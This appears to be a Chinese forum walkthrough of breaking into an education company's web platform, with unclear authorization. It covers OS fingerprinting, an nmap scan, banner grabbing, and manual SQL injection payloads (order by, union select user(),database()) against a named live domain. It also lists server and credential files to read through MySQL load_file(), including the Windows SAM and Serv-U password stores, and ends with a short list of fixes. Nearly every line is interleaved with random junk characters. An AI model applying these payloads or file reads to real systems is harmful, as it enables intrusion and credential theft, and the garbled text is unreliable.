题记:1 O# z/ U |5 ^# d1 N7 h
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
2 ?2 S0 k7 e8 z6 j/ x第一步:获取需要的信息
9 {" ?$ R* F2 z4 ^9 M, u" Q由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
6 B6 T) U) \% w. l0 k注:以下为保护特用XXX代替敏感信息/ W7 _) D4 E6 G4 K2 W6 S0 }
顺手先PING了一下他们的域名:& A% z/ _( A# u. `+ y
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
9 f9 u3 J' z% p: K64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
! P3 S5 Y' [7 r" C7 T: y s顺便了解一下TTL,学好基础知识才能一路顺风:
9 E+ u5 z3 _# OTTL:(Time To Live ) 生存时间# o8 U% Y( x) L- @2 |1 e
指定数据包被路由器丢弃之前允许通过的网段数量。; Q7 z) } y8 Z7 ?. K, t' R8 W; G& a
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
5 Q7 Q; J6 K9 n" ]* _使用PING时涉及到的 ICMP 报文类型' h6 F$ q3 S( x. Q9 R6 o; ~* ~
一个为ICMP请求回显(ICMP Echo Request)! q# H! I; u- Y+ m; O
一个为ICMP回显应答(ICMP Echo Reply)
+ `4 n+ q1 L* I/ ^! s5 |TTL 字段值可以帮助我们识别操作系统类型。
! J. L- g3 O4 l* m4 PUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
0 V/ R" z0 E% g+ X, k2 r8 |Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
. D7 r1 D6 L2 e; r8 O( H2 s微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128* o4 q* C* a) [- }9 D2 c
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32* i- f- l# c1 L D$ M, U8 q
当然,返回的TTL值是相同的( G1 x* l4 [6 K, m% G, q# s* {
但有些情况下有所特殊
8 Q0 L* K R% H* bLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64( O ?! J6 } O0 A+ t+ K
FreeBSD 4.1, 4.0, 3.4;" x; I% U6 ]" t$ L) q# K {
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;7 d, ?1 f& z$ M" h' G4 ]
OpenBSD 2.6, 2.7,
& }$ w; Q: V2 \# { H( k) c) Q- wNetBSD
: F' z+ h3 Z$ }HP UX 10.208 J$ ]6 L9 }5 R) g3 o
ICMP 回显应答的 TTL 字段值为 255; J5 p; E9 Q4 X: B9 v+ F
Windows 95/98/98SE
" B' y# i. v5 Z/ T7 r, {3 n- kWindows ME* \0 \( ~; f. ^
ICMP 回显应答的 TTL 字段值为 328 G# ?/ o4 Y( G9 P2 t, C- y5 w9 B1 ]
Windows NT4 WRKS" ?0 F. x% |9 s+ s' |& w/ i
Windows NT4 Server
; }% Y9 m- ^) V) i# E4 b$ s6 KWindows 2000% O' p0 F: U% [3 Q
Windows XP( D! k! U3 d- b3 m3 M
ICMP 回显应答的 TTL 字段值为 128& U0 u- ]3 L) Z. `
这样,我们就可以通过这种方法来辨别操作系统% S ]1 y& @- ~2 W
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255; f) X$ s+ m6 z
用NMAP扫描一下:$ D C# T F( Y5 r, R
nmap -sT -O XXX.XXX.XXX.XXX
, ~- N0 |3 p* B! Q# Z9 q: x如果没有装WinPcap则会弹出提示:
+ N, Q& x4 s2 R3 u$ \8 ~$ OWARNING: Could not import all necessary WinPcap functions. You may need to upgr- F3 | g' d/ W; |7 f9 k$ [
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(1 e8 {) V4 n( ]3 d
) mode — Nmap may not function completely% V/ d8 N. }' ?' f
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher5 ~. g' W0 K8 s' `
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win* t2 o1 h" \2 M; A% l
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
! y- n' H, b4 v# [d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v, M; F, x3 ]. o) M
ersions, you may be able to take iphlpapi.dll from another system and place it i
o/ _) H" v9 W: Hn your system32 dir (e.g. c:\windows\system32).* y3 a5 `8 E& D5 ?2 j8 u, q4 i
QUITTING!
; m7 h% f8 O/ T6 \- Z1 L到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe# R* ?5 _, X$ @3 V
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:9 x' e2 M/ ~1 d) a* C Q" X
Interesting ports on XXX.XXX.XXX.XXX:( Z+ E+ Y" B1 H Y. u
Not shown: 986 closed ports
$ \* M5 V/ q% |& M- dPORT STATE SERVICE, ~3 [6 c" A/ V c p/ a! S" P
21/tcp open ftp6 L+ P4 S8 a/ f3 C( L2 H$ x
22/tcp open ssh( t* S( ~$ U& b' ^- B7 L r
23/tcp open telnet0 a6 _) J' v1 @+ [
80/tcp open http
. o+ p7 y3 ?) y9 ?: Q# x9 Q3 A111/tcp open rpcbind5 Q- j& A) E3 O3 r$ S+ N
135/tcp filtered msrpc
$ A, ^1 v& |( I139/tcp filtered netbios-ssn
5 [6 z g t! J445/tcp filtered microsoft-ds
+ u+ Q- q: P8 O. y$ d5 n6 ~' r513/tcp open login; X/ c5 S# u B9 \; k( [
514/tcp open shell( h, ^6 ]/ I' Y2 _2 D
593/tcp filtered http-rpc-epmap- q; Z1 K# n$ y9 b! r
1720/tcp filtered H.323/Q.9316 Y8 Y c6 Y: _0 t/ _1 B# ]+ @
3306/tcp open mysql
2 D7 n' Y# C. a* ?4444/tcp filtered krb524
9 K* c* F8 ~* C; ?Device type: WAP; P- f8 |1 x7 O3 D9 s2 ~
Running: Linux 2.4.X e; g- f) u/ D% T
OS details: DD-WRT (Linux 2.4.35s)$ Z" J5 i$ i! [( X# i
Network Distance: 13 hops: |! e, ]7 e2 C1 S4 M" N; `8 q3 x
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
: Y$ @# f/ H" l9 S0 P5 t: T7 [) `login as:% Q, v* S6 c }9 N1 q& f# D
Telnet23端口也是开着的,用telnet 命令链接一下:8 ^+ i4 r2 e% X7 U! I" r- |
telnet XXX.XXX.XXX.XXX1 O$ S3 f* g: L5 v& E# l; Q. y
提示:6 v6 x) ?$ F6 n: ~4 }
Red Hat Enterprise Linux Server release 5.2 (Tikanga)- k$ m$ e$ Z3 _0 q' h, a
Kernel 2.6.18-92.el5PAE on an i686
( T5 F- Y) K6 x. H' X. Ulogin:' v u' O( i' b- t9 C% T
获取HTTP头信息:
: h( e% `9 l* U) Z在本地执行如下PHP代码
& S1 C- t; X; Z9 b4 N, F<?php3 |2 K+ q2 ^9 ~! I& w) f
$url = ‘XXX.XXX.XXX.XXX’;2 t9 v$ i# w& [: m! d
print_r(get_headers($url));
1 f* Q' d. U; r) w( [8 T& qprint_r(get_headers($url, 1));
/ x. o' d& j6 p?># e0 l3 p8 C+ C; d8 h+ b
将以上代码保存为PHP文件,执行:# @0 g" O, ? ^8 o" g* E
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
1 C1 q4 @$ H2 }' S现在可以得出结论:
' M0 e! P! r& i1 [系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 @, U" I' Z' Q6 h, [5 ]3 x! g
内核版本:Kernel 2.6.18-92.el5PAE on an i686
/ C5 J9 F8 v% u0 W' ~$ k6 nWEB服务器版本:nginx/0.7.61: {9 X! Q9 g: `( h, b, f7 K
第二步,开始测试寻找漏洞
6 o3 b* a* {& K' {/ z" a分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。8 W5 N+ T8 Q2 B& f; a9 R
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的: T+ k0 b$ {. Z- X3 Q. ?) @
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试9 B( J, X% D% g& R! Q
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常" `: M, O9 W" \7 q( S- ^
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
3 [( `: ~' y! j恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续, A& I& k& d' l
3、手工注入:" j2 u, L% D4 B6 Y: i; @6 i% z, D
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。$ ?6 ^( g" r4 g5 P, S. j% `/ X
3.1 猜测当前表字段数
M# Q6 u0 C I- \- T7 k6 u( Thttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
3 [( _7 ?4 U; J" o; s此处猜测有个简单的算法,都是有技巧的吗,呵呵! c/ w+ `% f9 J( W! d* J1 n
算法简单如下:
+ e: F% c" P7 @+ K第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
2 O- I( r% C# W* B: j" a. J% P第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
5 L/ a, R# E, ~) ~* d: M需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。7 v" D' I3 U6 K8 z
以此来判断,是否过界,配合取中算法猜出字段数。
1 Q5 V A+ r6 E. k2 f举例:
, J* L2 }3 _: E9 d! qhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常2 s0 V0 f. r* S. z) e3 g
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误6 o" L, _* U. k6 k
此时3则为我们要找的字段数。
# u3 ?. j; ]# Y& f3.2 配合union联合查询字段在页面所位置
- p9 n/ F6 s" e5 [+ e我们已经知道了字段数为3,此时则可以做如下操作:* f) h/ v2 B' r, p8 b) N8 `
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
& }7 ^7 s3 |* P$ Q: R! P
) K7 O0 i" q4 ?; i9 S4 E) Y/ U1 A这样就可以测试到哪些字段在页面上有所显示了,如图:
, K) e |# \' n& ^4 \+ g' X
+ m6 p* F- W+ y4 E9 H3.3 查敏感信息7 N- T- f+ V) Y* P# b! {9 D8 \
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。& z; E( N% o+ d" |
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
2 z. m9 i9 ]2 p7 Q- t, _3.3.1 先查数据库用户、数据库名,以备后用,如图: G. _$ B& k: g- A# o
7 h$ B! v# C- A6 l, ^. _ G
得到数据库用户为root、数据库名为DBxx;3 I$ \ v$ k/ b( Z- I; B
3.3.2 查配置文件
5 `% q: Q% e1 [查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
% L" M& p l) [8 c K1 L查看文件有一定的条件限制:* F, j" C0 ?8 Y
欲读取文件必须在服务器上! K& s; ^. L- {, W* Z2 ]* `
必须指定文件完整的路径
, c: ]- O( t/ F: |必须有权限读取并且文件必须完全可读1 |% f ?( G! C- A* _
欲读取文件必须小于 max_allowed_packet: B1 U3 U4 X' E6 ^* B' \ d) }
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。 s7 f! Q' e; k
常用的一些:
. g4 i" i! |7 e" }& J# e( d/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件+ [) b! Z7 B& b8 s7 m
/usr/local/apache2/conf/httpd.conf
3 P3 j% Y9 W) z/ `! ~' V9 q/ _/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置9 D: \+ @ l1 u; n p6 Y
/usr/local/app/php5/lib/php.ini //PHP相关设置
4 |( j" a! L* {2 V0 S/etc/sysconfig/iptables //从中得到防火墙规则策略
9 L3 u- @1 @+ o0 @& Z% |5 d$ a/etc/httpd/conf/httpd.conf // apache配置文件- W$ R+ Z3 a( P* f
/etc/rsyncd.conf //同步程序配置文件. w& {9 t$ B1 O3 g. l8 o& y+ i
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP./ U$ J( R$ ~$ O3 T& Z. U
/etc/my.cnf //mysql的配置文件- ~9 v, M9 V& n) W, r
/etc/redhat-release //系统版本, `& P1 ` ^, a9 W6 u. M$ t
/etc/issue
# u0 z& B2 v9 w, B$ k5 F/etc/issue.net+ ~# g# `1 d u
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
- b! M% J' v4 e3 W4 G( G/ q/ Hc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
' I- S$ P: }0 b) jc:\Program Files\Serv-U\ServUDaemon.ini! J: Z8 A. v3 _4 y4 ?
c:\windows\my.ini //MYSQL配置文件
0 i4 }% T7 X9 D* U0 y+ kc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件! O7 E& S# b2 d' j7 K! r7 S) B
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
8 C) O' v5 Y; c0 q6 `7 J Fc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码8 A% @( C- L& I& q, I& ^
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此1 `, w' P' |- {& M" D
c:\Program Files\RhinoSoft.com\ServUDaemon.exe; f$ N! v4 z& l2 x) @5 P" T. z' W
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
$ n6 B! ]. u# ]//存储了pcAnywhere的登陆密码
, G5 `$ l3 \% X' O1 D4 _8 x由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。 G% P- m) V1 b7 X& k- i
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
! [; E. \2 S3 u4 L! z! N% m最后:防范措施
a$ p. k' U$ k$ g5 {) o/ Y6 [1、修复PHP注入漏洞;% X* E) H& E2 s1 t2 l8 T. Y
2、Mysql使用普通权限的用户;
- Z6 f: p' u/ J! [7 y; E$ E3、升级linux内核至最新版本; |